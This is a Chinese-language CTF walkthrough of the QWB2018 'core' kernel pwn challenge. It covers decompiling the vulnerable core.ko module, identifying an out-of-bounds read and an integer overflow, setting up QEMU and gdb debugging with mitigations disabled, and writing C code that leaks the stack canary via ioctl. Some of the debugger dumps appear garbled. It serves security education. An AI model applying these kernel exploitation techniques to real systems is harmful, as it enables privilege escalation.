高中生手把手带你入门内核pwn -- QWB2018-core wp

ctf-challenges/pwn/linux/kernel-mode/QWB2018-core at master · ctf-wiki/ctf-challenges · GitHub

参考: qwb2018 核心复现 ROP – wsxk’s blog – 小菜鸡

tips: 如果你不理解某些部分,应该停下来而不是继续。

core.cpio 文件通常是一个归档文件,采用了 CPIO 格式。这种文件格式常用于存储多个文件和目录结构,尤其是在 Linux 和 Unix 系统中。core.cpio 文件通常用于将多个文件打包成一个归档文件,以便在系统间迁移或者作为备份存储。

在乌班图中可以直接点击并提取,注意不要覆盖原有文件,解压到新目录

在 Linux 系统中,内核初始化文件(通常称为 init 文件或 init 进程配置)是系统启动过程中至关重要的组成部分。它负责在 Linux 内核加载后,初始化用户空间的服务、守护进程和系统环境。

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

insmod 是一个用于将内核模块加载到 Linux 内核中的命令。它是 “insert module”(插入模块)的缩写,通常用来将已经编译好的 .ko 文件(内核模块)加载到运行中的 Linux 系统内核中,从而为系统提供新功能,比如设备驱动程序、文件系统支持、网络协议栈等。

接下来我们分析core.ko

init_module() 函数是 Linux 内核模块的初始化函数之一。在编写内核模块时,init_module() 用于执行在模块加载时需要初始化的任务,例如注册设备、初始化资源、配置网络接口等操作。

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

proc_create 是 Linux 内核中的一个函数,用于创建一个新的 /proc 文件系统条目。这个函数常用于内核模块中,以便在 /proc 文件系统下创建一个新的文件,使得用户空间程序可以通过这个文件与内核模块进行交互。

函数原型

struct proc_dir_entry *proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *fops);

参数说明

  1. name: 这是要创建的 /proc 文件的名称。它是一个字符串,表示文件的名称。

  2. mode: 这是文件的权限模式,通常使用 S_IRUGOS_IWUSR 等宏来设置读、写权限等。umode_t 是一个表示文件模式的类型。

  3. parent: 这是一个指向父目录条目的指针。如果为 NULL,则在根目录下创建文件。

  4. fops: 这是一个指向 file_operations 结构的指针,包含了对这个文件的操作函数的定义,例如打开、读取、写入等操作。


.data:0000000000000420 core_fops       dq offset __this_module ; DATA XREF: init_module↑o
.data:0000000000000428                 db    0
.data:0000000000000429                 db    0
.data:000000000000042A                 db    0
.data:000000000000042B                 db    0
.data:000000000000042C                 db    0
.data:000000000000042D                 db    0
.data:000000000000042E                 db    0
.data:000000000000042F                 db    0
.data:0000000000000430                 db    0
.data:0000000000000431                 db    0
.data:0000000000000432                 db    0
.data:0000000000000433                 db    0
.data:0000000000000434                 db    0
.data:0000000000000435                 db    0
.data:0000000000000436                 db    0
.data:0000000000000437                 db    0
.data:0000000000000438                 dq offset core_write
.data:0000000000000440                 db    0
.data:0000000000000441                 db    0
.data:0000000000000442                 db    0
.data:0000000000000443                 db    0
.data:0000000000000444                 db    0
.data:0000000000000445                 db    0
.data:0000000000000446                 db    0
.data:0000000000000447                 db    0
.data:0000000000000448                 db    0
.data:0000000000000449                 db    0
.data:000000000000044A                 db    0
.data:000000000000044B                 db    0
.data:000000000000044C                 db    0
.data:000000000000044D                 db    0
.data:000000000000044E                 db    0
.data:000000000000044F                 db    0
.data:0000000000000450                 db    0
.data:0000000000000451                 db    0
.data:0000000000000452                 db    0
.data:0000000000000453                 db    0
.data:0000000000000454                 db    0
.data:0000000000000455                 db    0
.data:0000000000000456                 db    0
.data:0000000000000457                 db    0
.data:0000000000000458                 db    0
.data:0000000000000459                 db    0
.data:000000000000045A                 db    0
.data:000000000000045B                 db    0
.data:000000000000045C                 db    0
.data:000000000000045D                 db    0
.data:000000000000045E                 db    0
.data:000000000000045F                 db    0
.data:0000000000000460                 db    0
.data:0000000000000461                 db    0
.data:0000000000000462                 db    0
.data:0000000000000463                 db    0
.data:0000000000000464                 db    0
.data:0000000000000465                 db    0
.data:0000000000000466                 db    0
.data:0000000000000467                 db    0
.data:0000000000000468                 dq offset core_ioctl
.data:0000000000000470                 db    0
.data:0000000000000471                 db    0
.data:0000000000000472                 db    0
.data:0000000000000473                 db    0
.data:0000000000000474                 db    0
.data:0000000000000475                 db    0
.data:0000000000000476                 db    0
.data:0000000000000477                 db    0
.data:0000000000000478                 db    0
.data:0000000000000479                 db    0
.data:000000000000047A                 db    0
.data:000000000000047B                 db    0
.data:000000000000047C                 db    0
.data:000000000000047D                 db    0
.data:000000000000047E                 db    0
.data:000000000000047F                 db    0
.data:0000000000000480                 db    0
.data:0000000000000481                 db    0
.data:0000000000000482                 db    0
.data:0000000000000483                 db    0
.data:0000000000000484                 db    0
.data:0000000000000485                 db    0
.data:0000000000000486                 db    0
.data:0000000000000487                 db    0
.data:0000000000000488                 db    0
.data:0000000000000489                 db    0
.data:000000000000048A                 db    0
.data:000000000000048B                 db    0
.data:000000000000048C                 db    0
.data:000000000000048D                 db    0
.data:000000000000048E                 db    0
.data:000000000000048F                 db    0
.data:0000000000000490                 db    0
.data:0000000000000491                 db    0
.data:0000000000000492                 db    0
.data:0000000000000493                 db    0
.data:0000000000000494                 db    0
.data:0000000000000495                 db    0
.data:0000000000000496                 db    0
.data:0000000000000497                 db    0
.data:0000000000000498                 dq offset core_release
.data:00000000000004A0                 db    0
.data:00000000000004A1                 db    0
.data:00000000000004A2                 db    0
.data:00000000000004A3                 db    0
.data:00000000000004A4                 db    0
.data:00000000000004A5                 db    0
.data:00000000000004A6                 db    0
.data:00000000000004A7                 db    0
.data:00000000000004A8                 db    0
.data:00000000000004A9                 db    0
.data:00000000000004AA                 db    0
.data:00000000000004AB                 db    0
.data:00000000000004AC                 db    0
.data:00000000000004AD                 db    0
.data:00000000000004AE                 db    0
.data:00000000000004AF                 db    0
.data:00000000000004B0                 db    0
.data:00000000000004B1                 db    0
.data:00000000000004B2                 db    0
.data:00000000000004B3                 db    0
.data:00000000000004B4                 db    0
.data:00000000000004B5                 db    0
.data:00000000000004B6                 db    0
.data:00000000000004B7                 db    0
.data:00000000000004B8                 db    0
.data:00000000000004B9                 db    0
.data:00000000000004BA                 db    0
.data:00000000000004BB                 db    0
.data:00000000000004BC                 db    0
.data:00000000000004BD                 db    0
.data:00000000000004BE                 db    0
.data:00000000000004BF                 db    0
.data:00000000000004C0                 db    0
.data:00000000000004C1                 db    0
.data:00000000000004C2                 db    0
.data:00000000000004C3                 db    0
.data:00000000000004C4                 db    0
.data:00000000000004C5                 db    0
.data:00000000000004C6                 db    0
.data:00000000000004C7                 db    0
.data:00000000000004C8                 db    0
.data:00000000000004C9                 db    0
.data:00000000000004CA                 db    0
.data:00000000000004CB                 db    0
.data:00000000000004CC                 db    0
.data:00000000000004CD                 db    0
.data:00000000000004CE                 db    0
.data:00000000000004CF                 db    0
.data:00000000000004D0                 db    0
.data:00000000000004D1                 db    0
.data:00000000000004D2                 db    0
.data:00000000000004D3                 db    0
.data:00000000000004D4                 db    0
.data:00000000000004D5                 db    0
.data:00000000000004D6                 db    0
.data:00000000000004D7                 db    0
.data:00000000000004D8                 db    0
.data:00000000000004D9                 db    0
.data:00000000000004DA                 db    0
.data:00000000000004DB                 db    0
.data:00000000000004DC                 db    0
.data:00000000000004DD                 db    0
.data:00000000000004DE                 db    0
.data:00000000000004DF                 db    0
.data:00000000000004E0                 db    0
.data:00000000000004E1                 db    0
.data:00000000000004E2                 db    0
.data:00000000000004E3                 db    0
.data:00000000000004E4                 db    0
.data:00000000000004E5                 db    0
.data:00000000000004E6                 db    0
.data:00000000000004E7                 db    0
.data:00000000000004E8                 db    0
.data:00000000000004E9                 db    0
.data:00000000000004EA                 db    0
.data:00000000000004EB                 db    0
.data:00000000000004EC                 db    0
.data:00000000000004ED                 db    0
.data:00000000000004EE                 db    0
.data:00000000000004EF                 db    0
.data:00000000000004F0                 db    0
.data:00000000000004F1                 db    0
.data:00000000000004F2                 db    0
.data:00000000000004F3                 db    0
.data:00000000000004F4                 db    0
.data:00000000000004F5                 db    0
.data:00000000000004F6                 db    0
.data:00000000000004F7                 db    0
.data:00000000000004F8                 db    0
.data:00000000000004F9                 db    0
.data:00000000000004FA                 db    0
.data:00000000000004FB                 db    0
.data:00000000000004FC                 db    0
.data:00000000000004FD                 db    0
.data:00000000000004FE                 db    0
.data:00000000000004FF                 db    0
.data:0000000000000500                 db    0
.data:0000000000000501                 db    0
.data:0000000000000502                 db    0
.data:0000000000000503                 db    0
.data:0000000000000504                 db    0
.data:0000000000000505                 db    0
.data:0000000000000506                 db    0
.data:0000000000000507                 db    0
.data:0000000000000508                 db    0
.data:0000000000000509                 db    0
.data:000000000000050A                 db    0
.data:000000000000050B                 db    0
.data:000000000000050C                 db    0
.data:000000000000050D                 db    0
.data:000000000000050E                 db    0
.data:000000000000050F                 db    0
.data:0000000000000510                 db    0
.data:0000000000000511                 db    0
.data:0000000000000512                 db    0
.data:0000000000000513                 db    0
.data:0000000000000514                 db    0
.data:0000000000000515                 db    0
.data:0000000000000516                 db    0
.data:0000000000000517                 db    0
.data:0000000000000517 _data           ends

你或许不理解这是什么,但是下面的内容或许会让你理解。


c语言中没有类,但是我们可以用结构体来伪造一个类的效果

我们抛开复杂的继承和多态,用最简单的结构体 + 函数指针模拟一个“类”:

1. 定义“类”的结构体

// 定义一个“动物类”
typedef struct {
    // 数据成员(类似类的属性)
    int age;
    const char* name;

    // 函数指针(模拟类的方法)
    void (*speak)(void); 
} Animal;

2. 定义方法(函数)

// 实现“动物类”的 speak 方法
void animal_speak(void) {
    printf("Animal speaks!\n");
}

3. 创建“对象”

int main() {
    // 创建一个“对象”
    Animal my_cat = {
        .age = 2,
        .name = "Mimi",
        .speak = animal_speak  // 绑定方法
    };

    // 调用方法
    my_cat.speak(); // 输出: Animal speaks!
    return 0;
}

core_fops中的这些地址类似于类的函数

Linux 通过设备文件(如 /dev/sda, /dev/tty, /dev/gpu)将硬件设备或内核功能抽象为文件。用户程序操作这些文件时,实际是通过文件接口调用驱动

例如:

int fd = open("/dev/mydevice", O_RDWR);  // 打开设备文件
read(fd, buffer, size);                  // 通过驱动读取设备数据
write(fd, data, size);                   // 通过驱动向设备写入数据
close(fd);                               // 关闭设备

这些操作最终会映射到驱动中实现的 file_operations 结构体中的函数(如 .read, .write)。


接下来我会解释驱动中的 ioctl 函数

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk("\x016core: %d\n", a3);
      off = a3;
      break;
    case 1719109786:
      printk("\x016core: called core_copy\n");
      core_copy_func(a3);
      break;
  }
  return 0LL;
}

tips: printk与print用法无区别,printk是内核中的print


把设备驱动比作一台“家电”

假设你有一个电风扇,它有基本功能:

  • read():查看当前风速(读数据)。
  • write():调整风速(写数据)。

但如果你想做更复杂的操作,比如:

  • 切换摇头模式 ️
  • 设置定时关闭 ⏰
  • 切换自然风/睡眠风

这些操作无法直接用read/write实现——这时就需要 ioctl!它像一个万能遥控器,通过发送特定指令控制设备的“隐藏功能”。

ioctl 的工作流程

  1. 用户程序
    你调用 ioctl(fd, 指令, 参数),比如:

    ioctl(fan_fd, SET_OSCILLATE, 1);  // 开启风扇摇头
    
  2. 内核驱动
    驱动中有一个电路板switch-case结构),根据指令执行对应操作:

    switch (cmd) {
        case SET_OSCILLATE:  // 处理摇头指令
            enable_oscillate(arg);
            break;
        case SET_TIMER:      // 处理定时指令
            set_timer(arg);
            break;
        // ...其他指令
    }
    

接下来我们需要分析函数漏洞

unsigned __int64 __fastcall core_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  printk(byte_25B);
  printk(byte_275, off, a1);
  v2 = v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(a1, &v5[off], 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

接下来我会解释 copy_to_user


形象解释 copy_to_user

想象你住在两个被高墙隔开的城市:内核城(内核空间)和用户镇(用户空间)。这两个地方有严格的法律规定:

  • 用户镇居民(用户程序)不能直接进入内核城,更不能随便拿内核城的东西。
  • 内核城的工作人员(内核代码)虽然有权进入用户镇,但必须遵守严格的“快递规则”——不能直接往用户镇送包裹,必须通过官方快递员copy_to_user)来传递物品。

场景:送快递

假设内核城有一个重要包裹(数据)要送到用户镇某个地址(用户空间指针)。直接开车冲过去可能引发混乱(系统崩溃或安全漏洞),所以必须按规矩来:

  1. 检查地址有效性
    快递员先确认用户镇的地址是否存在、是否合法(防止你写错门牌号导致包裹丢失)。

  2. 小心搬运
    如果用户镇的地址在某个暂时关闭的区域(内存被换出到磁盘),快递员会耐心等待区域开放(触发缺页异常并重新映射内存),再继续送货。

  3. 安全送达
    包裹通过专用通道(安全的内存复制操作)送到用户镇,全程避免碰撞其他包裹(数据损坏)。

  4. 返回签收单
    快递员返回时告诉你:“成功送出了多少件包裹”(返回 0 表示全部成功,非零值表示部分失败)。

代码示例

// 内核代码:将内核缓冲区 kernel_data 的数据拷贝到用户空间指针 user_buffer
int result = copy_to_user(user_buffer, kernel_data, data_size);
if (result != 0) {
    printk("快递失败!还剩 %d 个包裹没送到\n", result);
    return -EFAULT;
}

为什么不用 memcpy

  • 直接闯关危险
    memcpy 像无证驾驶,可能撞墙(访问无效地址触发崩溃)或误伤路人(破坏用户程序数据)。

  • 快递员的专业性
    copy_to_user 会处理地址检查、内存映射、权限验证等细节,确保安全合规。

一句话总结

copy_to_user 是内核与用户空间之间的“官方快递员”,确保数据传递既安全又合法,避免直接操作引发的灾难。


此处存在数组越界,因为 off 是我们决定的,我们继续看另一个函数

__int64 __fastcall core_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(byte_215);
  if ( a1 > 63 )
  {
    printk(byte_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);
  }
  return result;
}

此处存在整数溢出,而且使用了qmemcpy,这意味这我们可以读入一超长有效负载

此外,还有一个write函数可以设置name的值

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  printk(byte_215);
  if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
    return (unsigned int)a3;
  printk(byte_230, a2);
  return 4294967282LL;
}

接下来我们将开始调试内核驱动

start.sh

我们在调试时需要禁止内核地址随机化,增加内存

#!/bin/sh
qemu-system-x86_64 \
    -m 512M \
    -kernel ./bzImage \
    -initrd ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti mitigations=off" \
    -s \
    -S \
    -netdev user,id=t0 \
    -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -monitor none \
    -cpu qemu64,+smep,+smap

接下来我们要剔除init脚本中的定时关机以及保护措施

#!/bin/sh

# 挂载基础文件系统
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx

# 禁用内核符号地址隐藏(关键调试配置)
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict
cat /proc/kallsyms > /tmp/kallsyms

# 网络配置(若需网络调试则保留)
ifconfig eth0 up
udhcpc -i eth0 || ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2

# 加载驱动模块(增加错误处理)
insmod /core.ko || {
  echo "[!] Failed to load core.ko! Entering emergency shell..."
  /bin/sh
}

# 启动调试Shell(root权限+持续运行)
echo -e "\n\n[+] System ready for debugging! Entering debug shell..."
setsid /bin/cttyhack /bin/sh -c 'exec /bin/sh /dev/ttyS0 2>&1'

# 移除关机逻辑
# echo -e "\n[!] Shutting down..."
# umount /proc
# umount /sys
# poweroff -d 0 -f

# 添加保持系统运行的机制
echo "[+] Debug shell exited. Keeping the system alive..."
while true; do
  sleep 99999999
done

然后重新打包 .cpio

find . | cpio -ov --format=newc > ../core.cpio

运行start我们需要使用pwndbg附加内核

gdb -q vmlinux -ex "target remote :1234" -ex "c"

接下来获取内核驱动基地址

cat /proc/modules
core 16384 0 - Live 0xffffffffc0000000 (O)

ctrl+c在gdb中附加驱动文件

add-symbol-file core.ko 0xffffffffc0000000
b core_read

现在我们可以开始调试驱动了

tips: qume内使用 dmesg 可以查看printk的输出

gdb -q vmlinux -ex "target remote :1234" -ex "add-symbol-file core.ko 0xffffffffc0000000" -ex "b *0xffffffffc0000131" -ex "c"

我们要先确定金丝雀的偏移

#include 
#include 
#include 
#include 
#include 
#include 
#include 

int set_off(int fd, unsigned long off) {
    if (ioctl(fd, 1719109788, off) == -1) {
        perror("[!] set_off ioctl failed");
        return -1;
    }
    return 0;
}

int core_read(int fd, void *copy_to_addr) {
    if (ioctl(fd, 1719109787, copy_to_addr) == -1) {
        perror("[!] core_read ioctl failed");
        return -1;
    }
    return 0;
}

int core_copy_func(int fd, int len=-1) {
    if (ioctl(fd, 1719109786, len) == -1) {
        perror("[!] core_copy_func ioctl failed");
        return -1;
    }
    return 0;
}

int main() {
    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("[!] open failed");
        return EXIT_FAILURE;
    }
    printf("[+] open success!\n");

    char buf[0x40]={0};

    set_off(fd, 0);
    core_read(fd, buf);

    for(int i=0;i<=8;i++)
        printf("leak: %p\n", buf[i*8]);
}
pwndbg> 
0xffffffffc00000cc in core_read ()
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────
 RAX  0xffffc9000016be18 ◂— 0xffffc9000016be18
 RBX  0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
 RCX  0
 RDX  0x40
*RDI  0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
 RSI  0xffffc9000016be18 ◂— 0xffffc9000016be18
 R8   0xffffffff8273b560 (__log_buf) ◂— 0xffffffff8273b560
 R9   0xdf6
 R10  0
 R11  4
 R12  0xffff88001a4277a0 ◂— 0xffff88001a4277a0
 R13  0x6677889b
 R14  0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
 R15  0
 RBP  0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
 RSP  0xffffc9000016be18 ◂— 0xffffc9000016be18
*RIP  0xffffffffc00000cc (core_read+105) ◂— 0xffffffffc00000cc
────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────
   0xffffffffc00000b5      call   0xffffffff81860360          
 
   0xffffffffc00000ba      mov    rsi, rsp                          RSI => 0xffffc9000016be18 ◂— 0xffffc9000016be18
   0xffffffffc00000bd      add    rsi, qword ptr [rip + 0x2b3c]
   0xffffffffc00000c4      mov    edx, irq_stack_union+64           EDX => 0x40
   0xffffffffc00000c9     mov    rdi, rbx                          RDI => 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
 ► 0xffffffffc00000cc     call   0xffffffff81326f10          <_copy_to_user>
        rdi: 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
        rsi: 0xffffc9000016be18 ◂— 0xffffc9000016be18
        rdx: 0x40
        rcx: 0
 
   0xffffffffc00000d1     test   rax, rax
   0xffffffffc00000d4     je     0xffffffffc00000db          
 
   0xffffffffc00000d6     swapgs 
   0xffffffffc00000d9     pop    rbp
   0xffffffffc00000da     ret    
──────────────────────────────────────────[ STACK ]──────────────────────────────────────────
00:0000│ rax rsi rsp 0xffffc9000016be18 ◂— 0xffffc9000016be18
01:0008│             0xffffc9000016be20 ◂— 0xffffc9000016be20
02:0010│             0xffffc9000016be28 ◂— 0xffffc9000016be28
03:0018│             0xffffc9000016be30 ◂— 0xffffc9000016be30
04:0020│             0xffffc9000016be38 ◂— 0xffffc9000016be38
05:0028│             0xffffc9000016be40 ◂— 0xffffc9000016be40
... ↓                2 skipped
────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────
 ► 0 0xffffffffc00000cc core_read+105
   1 0x20656d6f636c6557 None
   2 0x5120656874206f74 None
   3 0x6320465443204257 None
   4 0x65676e656c6c6168 None
   5            0xa2e irq_stack_union+2606
   6              0x0 irq_stack_union
─────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
Warning: Avoided exploring possible address 0xffffffff82256968.
You can explicitly explore it with `vmmap_explore 0xffffffff82256000`
Warning: Avoided exploring possible address 0xffffffff8278af50.
You can explicitly explore it with `vmmap_explore 0xffffffff8278a000`
Warning: Avoided exploring possible address 0xffffffff8118f28f.
You can explicitly explore it with `vmmap_explore 0xffffffff8118f000`
00:0000│ rax rsi rsp 0xffffc9000016be18 ◂— 0xffffc9000016be18
01:0008│             0xffffc9000016be20 ◂— 0xffffc9000016be20
02:0010│             0xffffc9000016be28 ◂— 0xffffc9000016be28
03:0018│             0xffffc9000016be30 ◂— 0xffffc9000016be30
04:0020│             0xffffc9000016be38 ◂— 0xffffc9000016be38
05:0028│             0xffffc9000016be40 ◂— 0xffffc9000016be40
... ↓                2 skipped
08:0040│             0xffffc9000016be58 ◂— 0xffffc9000016be58
09:0048│             0xffffc9000016be60 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
0a:0050│             0xffffc9000016be68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b
0b:0058│             0xffffc9000016be70 —▸ 0xffff88001fb92e40 ◂— 0xffff88001fb92e40
0c:0060│             0xffffc9000016be78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1
0d:0068│             0xffffc9000016be80 ◂— 0xffffc9000016be80
0e:0070│             0xffffc9000016be88 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
0f:0078│             0xffffc9000016be90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa
10:0080│             0xffffc9000016be98 —▸ 0xffffc9000016be70 —▸ 0xffff88001fb92e40 ◂— 0xffff88001fb92e40
11:0088│             0xffffc9000016bea0 ◂— 0xffffc9000016bea0
12:0090│             0xffffc9000016bea8 ◂— 0xffffc9000016bea8
13:0098│             0xffffc9000016beb0 —▸ 0xffffffff82256968 (selinux_hooks+2440) —▸ 0xffffffff8278af50 (security_hook_heads+1040) ◂— 0xffffffff8278af50
14:00a0│             0xffffc9000016beb8 ◂— 0xffffc9000016beb8
15:00a8│             0xffffc9000016bec0 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
16:00b0│             0xffffc9000016bec8 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
17:00b8│             0xffffc9000016bed0 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
18:00c0│             0xffffc9000016bed8 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
19:00c8│             0xffffc9000016bee0 —▸ 0xffff88001f920000 ◂— 0xffff88001f920000
1a:00d0│             0xffffc9000016bee8 ◂— 0xffffc9000016bee8
1b:00d8│             0xffffc9000016bef0 ◂— 0xffffc9000016bef0
1c:00e0│             0xffffc9000016bef8 —▸ 0x7ffcf1d22ae0 ◂— 0x7ffcf1d22ae0
1d:00e8│             0xffffc9000016bf00 —▸ 0xffffffff8118f28f (sys_ioctl+111) ◂— 0xffffffff8118f28f

rax, qword ptr [rsp + 0x40]

pwndbg> 
0xffffffffc00000db in core_read ()
Permission error when attempting to parse page tables with gdb-pt-dump.
Either change the kernel-vmmap setting, re-run GDB as root, or disable `ptrace_scope` (`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`)
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────
 RAX  0
 RBX  0x7fff9c742820 ◂— 0x7fff9c742820
 RCX  0
 RDX  0
 RDI  0x7fff9c742860 ◂— 0x7fff9c742860
 RSI  0xffffc9000016fe58 ◂— 0xffffc9000016fe58
 R8   0xffffffff8273b560 (__log_buf) ◂— 0xffffffff8273b560
 R9   0xde4
 R10  0
 R11  4
 R12  0xffff88001a4277a0 ◂— 0xffff88001a4277a0
 R13  0x6677889b
 R14  0x7fff9c742820 ◂— 0x7fff9c742820
 R15  0
 RBP  0x7fff9c742820 ◂— 0x7fff9c742820
 RSP  0xffffc9000016fe18 ◂— 0xffffc9000016fe18
*RIP  0xffffffffc00000db (core_read+120) ◂— 0xffffffffc00000db
──────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────
   0xffffffffc00000c4      mov    edx, irq_stack_union+64           EDX => 0x40
   0xffffffffc00000c9     mov    rdi, rbx                          RDI => 0x7fff9c742820 ◂— 0x7fff9c742820
   0xffffffffc00000cc     call   0xffffffff81326f10          <_copy_to_user>
 
   0xffffffffc00000d1     test   rax, rax                          0 & 0
   0xffffffffc00000d4   ✔ je     0xffffffffc00000db          
    ↓
 ► 0xffffffffc00000db     mov    rax, qword ptr [rsp + 0x40]       RAX, [0xffffc9000016fe58] => 0x717c119b720a0b00
   0xffffffffc00000e0     xor    rax, qword ptr gs:[0x28]
   0xffffffffc00000e9     je     0xffffffffc00000f0          
 
   0xffffffffc00000eb     call   0xffffffff810820e0          <__stack_chk_fail>
 
   0xffffffffc00000f0     add    rsp, irq_stack_union+72
   0xffffffffc00000f4     pop    rbx
───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000016fe18 ◂— 0xffffc9000016fe18
01:0008│     0xffffc9000016fe20 ◂— 0xffffc9000016fe20
02:0010│     0xffffc9000016fe28 ◂— 0xffffc9000016fe28
03:0018│     0xffffc9000016fe30 ◂— 0xffffc9000016fe30
04:0020│     0xffffc9000016fe38 ◂— 0xffffc9000016fe38
05:0028│     0xffffc9000016fe40 ◂— 0xffffc9000016fe40
... ↓        2 skipped
─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────
 ► 0 0xffffffffc00000db core_read+120
   1 0x20656d6f636c6557 None
   2 0x5120656874206f74 None
   3 0x6320465443204257 None
   4 0x65676e656c6c6168 None
   5            0xa2e irq_stack_union+2606
   6              0x0 irq_stack_union
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
00:0000│ rsp 0xffffc9000016fe18 ◂— 0xffffc9000016fe18
01:0008│     0xffffc9000016fe20 ◂— 0xffffc9000016fe20
02:0010│     0xffffc9000016fe28 ◂— 0xffffc9000016fe28
03:0018│     0xffffc9000016fe30 ◂— 0xffffc9000016fe30
04:0020│     0xffffc9000016fe38 ◂— 0xffffc9000016fe38
05:0028│     0xffffc9000016fe40 ◂— 0xffffc9000016fe40
... ↓        2 skipped
08:0040│ rsi 0xffffc9000016fe58 ◂— 0xffffc9000016fe58
09:0048│     0xffffc9000016fe60 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
0a:0050│     0xffffc9000016fe68 —▸ 0xffffffffc000019b (core_ioctl+60) ◂— 0xffffffffc000019b
0b:0058│     0xffffc9000016fe70 —▸ 0xffff88001fba1e40 ◂— 0xffff88001fba1e40
0c:0060│     0xffffc9000016fe78 —▸ 0xffffffff811dd6d1 (proc_reg_unlocked_ioctl+49) ◂— 0xffffffff811dd6d1
0d:0068│     0xffffc9000016fe80 ◂— 0xffffc9000016fe80
0e:0070│     0xffffc9000016fe88 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
0f:0078│     0xffffc9000016fe90 —▸ 0xffffffff8118ecfa (do_vfs_ioctl+138) ◂— 0xffffffff8118ecfa
10:0080│     0xffffc9000016fe98 —▸ 0xffffc9000016fe70 —▸ 0xffff88001fba1e40 ◂— 0xffff88001fba1e40
11:0088│     0xffffc9000016fea0 ◂— 0xffffc9000016fea0
12:0090│     0xffffc9000016fea8 ◂— 0xffffc9000016fea8
13:0098│     0xffffc9000016feb0 —▸ 0xffffffff82256968 (selinux_hooks+2440) —▸ 0xffffffff8278af50 (security_hook_heads+1040) ◂— 0xffffffff8278af50
14:00a0│     0xffffc9000016feb8 ◂— 0xffffc9000016feb8
15:00a8│     0xffffc9000016fec0 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
16:00b0│     0xffffc9000016fec8 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
17:00b8│     0xffffc9000016fed0 —▸ 0x7fff9c742820 ◂— 0x7fff9c742820
18:00c0│     0xffffc9000016fed8 —▸ 0xffff88001f8a0000 ◂— 0xffff88001f8a0000
